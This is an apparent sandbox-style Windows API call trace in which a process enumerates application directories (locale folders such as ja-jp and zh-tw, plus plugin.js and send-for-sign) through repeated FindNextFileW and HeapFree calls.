	[0173.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0173.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0173.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0173.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.374] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0173.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.374] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.374] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.374] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0173.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.374] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.375] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.375] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0173.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.375] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.375] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0173.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.377] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.377] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0173.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.377] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.377] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0173.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.377] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0173.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.378] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0173.378] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0173.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.378] FindNextFileW (in: hFindFile=0x394bbb8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49d47, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.378] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.378] FindClose (in: hFindFile=0x394bc38 | out: hFindFile=0x394bc38) returned 1
	[0173.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0173.380] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1
	[0173.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.381] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.521] FindNextFileW (in: hFindFile=0x394b738, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.521] FindClose (in: hFindFile=0x394b738 | out: hFindFile=0x394b738) returned 1
	[0173.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.521] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.521] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0173.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.521] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.573] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.574] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.574] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.575] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.576] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0173.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.577] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.578] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0173.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.579] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
